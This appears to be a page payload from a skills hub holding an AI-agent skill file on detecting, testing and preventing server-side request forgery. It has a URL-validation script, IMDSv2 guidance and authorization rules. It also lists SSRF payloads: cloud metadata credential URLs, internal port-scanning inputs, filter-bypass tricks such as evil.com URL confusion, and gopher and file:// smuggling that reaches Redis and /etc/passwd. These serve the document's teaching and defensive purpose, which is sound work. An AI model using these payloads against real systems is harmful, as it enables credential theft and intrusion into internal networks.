[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EG7MTFNWSEVHZXJCTDDPAT":3,"skill-same:01M6EG7MTFNWSEVHZXJCTDDPAT":53},{"skillNo":4,"name":5,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":26,"linkOnly":27,"markdownContent":28,"markdownBody":28,"frontMatter":29,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":35,"ownerHtmlUrl":36,"ownerBlogUrl":6,"ownerDescription":37,"updatedAt":38,"install":39,"resources":52},"01M6EG7MTFNWSEVHZXJCTDDPAT","ssrf-detection",null,"ComeOnOliver\u002Fskillshub","ComeOnOliver","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F43215937?v=4","01M6E5JNFECJAAVFE0W7SMWWD2","Haoran Shu","01M6E5JNNDQS7AJZDYFQ8TPZCK",66,"MIT","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002FTerminalSkills\u002Fskills\u002Fssrf-detection\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[23,24,25],"ssrf","detection","ssrf detection","2026-11-10 10:12:30",false,"# SSRF Detection\n\n## Overview\n\nFind, exploit, and fix Server-Side Request Forgery. SSRF tricks the server into making HTTP requests to unintended destinations — accessing internal services, cloud metadata, or other systems that the server can reach but the attacker cannot.\n\n## Instructions\n\n### How SSRF Works\n\n```\nNormal flow:\n  User → Server → External API (intended)\n\nSSRF attack:\n  User sends: url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n  Server → AWS Metadata Service (unintended)\n  Server returns: IAM credentials, instance info, etc.\n```\n\nAny feature that takes a URL from user input and fetches it server-side is a potential SSRF vector:\n- Image\u002Ffile URL imports (\"paste image URL\")\n- Webhook configurations\n- PDF generators that fetch external resources\n- URL preview\u002Funfurl features (Slack-style link previews)\n- API integrations with user-provided endpoints\n- RSS\u002Ffeed readers\n- Document converters\n\n### SSRF Types\n\n### Non-blind (classic) SSRF\n\nThe server returns the response body to the attacker:\n\n```\nRequest:  GET \u002Ffetch?url=http:\u002F\u002Finternal-api:8080\u002Fadmin\u002Fusers\nResponse: {\"users\": [...all internal user data...]}\n\nThe attacker sees the response from the internal service.\n```\n\n### Blind SSRF\n\nThe server makes the request but doesn't return the response body. The attacker confirms SSRF through:\n\n```\n1. Timing differences:\n   url=http:\u002F\u002F10.0.0.1:22 (SSH port — fast connection)\n   url=http:\u002F\u002F10.0.0.1:12345 (closed port — timeout)\n   Different response times confirm port is open\u002Fclosed\n\n2. Out-of-band callbacks:\n   url=http:\u002F\u002Fattacker-controlled.burpcollaborator.net\n   If the server sends a DNS\u002FHTTP request to your server, SSRF confirmed\n\n3. Error message differences:\n   url=http:\u002F\u002F10.0.0.1 → \"Connection refused\" (host exists)\n   url=http:\u002F\u002F10.0.0.99 → \"Host unreachable\" (host doesn't exist)\n```\n\n### Semi-blind SSRF\n\nThe full response isn't returned, but partial information leaks — error messages, response times, status codes, or content length.\n\n### Detection and Exploitation\n\n### Testing methodology\n\n```\n1. IDENTIFY input points that accept URLs:\n   - Search for parameters: url=, uri=, path=, src=, dest=, redirect=,\n     link=, feed=, host=, site=, callback=, webhook=, proxy=\n   - Look for features: \"import from URL\", \"add webhook\", \"preview link\"\n\n2. TEST with external callback:\n   url=http:\u002F\u002Fyour-burp-collaborator.com\n   url=http:\u002F\u002Fyour-server.com\u002Fssrf-test\n   → If you receive the request, basic SSRF confirmed\n\n3. TEST internal access:\n   url=http:\u002F\u002Flocalhost\n   url=http:\u002F\u002F127.0.0.1\n   url=http:\u002F\u002F[::1]                    # IPv6 localhost\n   url=http:\u002F\u002F169.254.169.254          # AWS metadata\n   url=http:\u002F\u002Fmetadata.google.internal # GCP metadata\n   url=http:\u002F\u002F100.100.100.200          # Azure metadata\n\n4. MAP internal network:\n   url=http:\u002F\u002F10.0.0.1 through url=http:\u002F\u002F10.0.0.255\n   url=http:\u002F\u002F172.16.0.1 through url=http:\u002F\u002F172.31.255.255\n   url=http:\u002F\u002F192.168.0.1 through url=http:\u002F\u002F192.168.255.255\n   → Use response time\u002Ferror differences to identify live hosts\n\n5. SCAN internal ports:\n   url=http:\u002F\u002F10.0.0.5:22    (SSH)\n   url=http:\u002F\u002F10.0.0.5:3306  (MySQL)\n   url=http:\u002F\u002F10.0.0.5:6379  (Redis)\n   url=http:\u002F\u002F10.0.0.5:9200  (Elasticsearch)\n```\n\n### Cloud metadata exploitation\n\nCloud instances have metadata services accessible at well-known IPs:\n\n```\nAWS (most impactful — can yield IAM credentials):\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\n  http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FROLE-NAME\n  → Returns: AccessKeyId, SecretAccessKey, Token\n\nGCP:\n  http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002F\n  Header required: Metadata-Flavor: Google\n  http:\u002F\u002Fmetadata.google.internal\u002FcomputeMetadata\u002Fv1\u002Finstance\u002Fservice-accounts\u002Fdefault\u002Ftoken\n\nAzure:\n  http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Finstance?api-version=2021-02-01\n  Header required: Metadata: true\n\nDigitalOcean:\n  http:\u002F\u002F169.254.169.254\u002Fmetadata\u002Fv1\u002F\n```\n\n### Filter bypass techniques\n\nWhen basic SSRF payloads are blocked:\n\n```\nIP address obfuscation:\n  127.0.0.1      → 2130706433 (decimal)\n  127.0.0.1      → 0x7f000001 (hex)\n  127.0.0.1      → 0177.0.0.1 (octal)\n  127.0.0.1      → 127.1 (short form)\n  127.0.0.1      → 0 (on some systems)\n\nDNS rebinding:\n  Register a domain that resolves to 127.0.0.1\n  First resolution → external IP (passes allowlist check)\n  Second resolution → 127.0.0.1 (actual request)\n  Tools: rebind.it, taviso\u002Frbndr\n\nURL parsing tricks:\n  http:\u002F\u002Fevil.com#@expected.com    # Fragment confusion\n  http:\u002F\u002Fexpected.com@evil.com     # Username in URL\n  http:\u002F\u002Fevil.com\u002F..;\u002Finternal     # Path traversal\n  http:\u002F\u002Fⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ           # Unicode normalization\n\nProtocol smuggling:\n  gopher:\u002F\u002F127.0.0.1:6379\u002F_*3%0d%0a...  # Redis commands via gopher\n  dict:\u002F\u002F127.0.0.1:6379\u002Finfo             # Redis info via dict protocol\n  file:\u002F\u002F\u002Fetc\u002Fpasswd                      # Local file read\n```\n\n### Prevention\n\n### URL validation\n\n```python\n# ssrf_prevention.py\n# Validate URLs to prevent SSRF attacks\n\nimport ipaddress\nimport socket\nfrom urllib.parse import urlparse\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network('10.0.0.0\u002F8'),        # Private\n    ipaddress.ip_network('172.16.0.0\u002F12'),      # Private\n    ipaddress.ip_network('192.168.0.0\u002F16'),     # Private\n    ipaddress.ip_network('127.0.0.0\u002F8'),        # Loopback\n    ipaddress.ip_network('169.254.0.0\u002F16'),     # Link-local (metadata)\n    ipaddress.ip_network('100.64.0.0\u002F10'),      # Carrier-grade NAT\n    ipaddress.ip_network('::1\u002F128'),            # IPv6 loopback\n    ipaddress.ip_network('fc00::\u002F7'),           # IPv6 private\n    ipaddress.ip_network('fe80::\u002F10'),          # IPv6 link-local\n]\n\ndef validate_url(url: str) -> bool:\n    \"\"\"Validate a user-provided URL is safe to fetch.\n    \n    Checks: scheme allowlist, DNS resolution to non-private IP,\n    no IP address obfuscation, no redirect to internal networks.\n    \n    Args:\n        url: User-provided URL to validate\n    \n    Returns:\n        True if URL is safe to fetch\n    \n    Raises:\n        ValueError: If URL is blocked for SSRF prevention\n    \"\"\"\n    parsed = urlparse(url)\n    \n    # 1. Scheme allowlist — only http and https\n    if parsed.scheme not in ('http', 'https'):\n        raise ValueError(f\"Blocked scheme: {parsed.scheme}\")\n    \n    # 2. No IP addresses in URL — force DNS resolution\n    hostname = parsed.hostname\n    if not hostname:\n        raise ValueError(\"No hostname in URL\")\n    \n    # 3. Resolve DNS and check against blocked networks\n    try:\n        resolved_ips = socket.getaddrinfo(hostname, parsed.port or 443)\n    except socket.gaierror:\n        raise ValueError(f\"Cannot resolve: {hostname}\")\n    \n    for family, type_, proto, canonname, sockaddr in resolved_ips:\n        ip = ipaddress.ip_address(sockaddr[0])\n        for network in BLOCKED_NETWORKS:\n            if ip in network:\n                raise ValueError(\n                    f\"Blocked: {hostname} resolves to private IP {ip}\"\n                )\n    \n    return True\n```\n\n### Cloud metadata protection\n\n```bash\n# AWS: Require IMDSv2 (token-based) — blocks SSRF because\n# the attacker can't set the required PUT header through SSRF\naws ec2 modify-instance-metadata-options \\\n  --instance-id i-1234567890 \\\n  --http-tokens required \\\n  --http-endpoint enabled\n\n# GCP: Metadata service already requires header\n# Metadata-Flavor: Google — blocks basic SSRF\n# But some HTTP libraries add custom headers from redirects\n\n# Network-level: Block metadata IP in firewall rules\niptables -A OUTPUT -d 169.254.169.254 -j DROP  # Nuclear option\n# Better: use IMDSv2 + application-level URL validation\n```\n\n### Architecture-level defenses\n\n```\n1. NETWORK SEGMENTATION\n   Don't let web servers reach internal services directly.\n   Use a dedicated proxy\u002Fgateway for outbound requests.\n\n2. DEDICATED FETCHER SERVICE\n   Move URL fetching to an isolated microservice with:\n   - Its own network policy (can't reach internal services)\n   - Allowlist of permitted destination domains\n   - Response size limits\n   - Timeout limits\n\n3. DNS RESOLUTION PINNING\n   Resolve DNS BEFORE making the request.\n   Use the resolved IP for the actual connection.\n   This prevents DNS rebinding attacks.\n\n4. DISABLE UNNECESSARY PROTOCOLS\n   Block: gopher:\u002F\u002F, file:\u002F\u002F, dict:\u002F\u002F, ftp:\u002F\u002F\n   Allow only: http:\u002F\u002F, https:\u002F\u002F\n```\n\n## Examples\n\n### Test a web application for SSRF\n\n```prompt\nOur web application has a \"fetch URL\" feature that generates link previews. Test it for SSRF vulnerabilities: check if it can reach internal services (localhost, private IPs, cloud metadata), test filter bypasses (IP encoding, DNS rebinding, protocol smuggling), and map any accessible internal network. For each finding, demonstrate the impact and provide a proof-of-concept. We're running on AWS EC2.\n```\n\n### Secure a URL fetching feature against SSRF\n\n```prompt\nOur Node.js application has an endpoint that accepts a URL and fetches content for preview cards (similar to Slack's link unfurling). It currently uses axios with no validation. Implement comprehensive SSRF prevention: URL validation with DNS resolution checks, private IP blocking (including IPv6), scheme allowlist, redirect following with re-validation at each hop, timeout and size limits, and IMDSv2 enforcement on our AWS infrastructure.\n```\n\n### Audit cloud infrastructure for SSRF exposure\n\n```prompt\nAudit our AWS infrastructure for SSRF exposure. Check all EC2 instances for IMDSv1 (should be IMDSv2 only), review security groups for overly permissive internal access, identify application endpoints that accept URLs, and verify network segmentation between web-facing services and internal databases. Produce a risk report with prioritized remediation steps.\n```\n\n## Guidelines\n\n- Only test for SSRF on applications you have explicit written authorization to test\n- Cloud metadata exploitation can expose real IAM credentials — handle findings as sensitive data and report through secure channels\n- SSRF testing against internal networks can disrupt services — coordinate with the infrastructure team before scanning internal IP ranges\n- Always implement both application-level URL validation and network-level controls (IMDSv2, network segmentation) as defense-in-depth\n- DNS rebinding bypasses require a controlled domain — never use rebinding against targets without explicit scope authorization\n- Report all SSRF findings through responsible disclosure, especially when cloud credentials are exposed\n",{},"main","def8531e65114c0fca8fb8551c1871ee0eed705c","skills\u002FTerminalSkills\u002Fskills\u002Fssrf-detection",24,"https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub","https:\u002F\u002Fskillshub.wtf","https:\u002F\u002Fgithub.com\u002FComeOnOliver","AI & Blockchain Engineer\r\n","2026-06-24 22:07:19",{"source":7,"skillName":5,"commands":40,"prompt":50,"zipAvailable":51},[41,44,47],{"tool":42,"command":43},"npx","npx skills add ComeOnOliver\u002Fskillshub --skill ssrf-detection",{"tool":45,"command":46},"bunx","bunx skills add ComeOnOliver\u002Fskillshub --skill ssrf-detection",{"tool":48,"command":49},"pnpm","pnpm dlx skills add ComeOnOliver\u002Fskillshub --skill ssrf-detection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002FTerminalSkills\u002Fskills\u002Fssrf-detection\u002FSKILL.md",true,[],[54,66,76,85,91,98],{"skillNo":55,"name":56,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":57,"categories":58,"keywords":62,"publishedAt":26},"01M6FKJN13GMG4KY57J3QD8GY5","model-hierarchy-skill","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzscole\u002Fmodel-hierarchy-skill\u002Fmodel-hierarchy-skill\u002FSKILL.md",[59],{"categoryNo":60,"categoryName":61,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",[63,64,65],"model","model hierarchy","model hierarchy skill",{"skillNo":67,"name":68,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":72,"publishedAt":26},"01M6FKJJJ6GCAMR4PPPRD12M5X","zoom-mcp","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-mcp\u002FSKILL.md",[71],{"categoryNo":60,"categoryName":61,"taxonomyType":20,"taxonomyTypeDesc":21},[73,74,75],"MCP","zoom","zoom mcp",{"skillNo":77,"name":78,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":26},"01M6FKJE3KYT3KPEZMEEHYKA6K","zoom-apps-sdk","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fzoom-apps-sdk\u002FSKILL.md",[],[82,83,84,74],"sdk","zoom apps sdk","apps",{"skillNo":86,"name":87,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":26},"01M6FKJ9EDH9Q5VWDF8HAJRSP0","windows","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwindows\u002FSKILL.md",[],[87],{"skillNo":92,"name":93,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":97,"publishedAt":26},"01M6FKJ666BEEFC3AE9GJ72Q93","whiteboard","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwhiteboard\u002FSKILL.md",[96],{"categoryNo":60,"categoryName":61,"taxonomyType":20,"taxonomyTypeDesc":21},[93],{"skillNo":99,"name":100,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":7,"ownerLogin":8,"ownerAvatarUrl":9,"ownerAccountNo":10,"ownerDisplayName":11,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":26},"01M6FKJ21WFCDGTJQ2Q91T9DVW","websockets","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Fzoom\u002Fskills\u002Fwebsockets\u002FSKILL.md",[],[100]]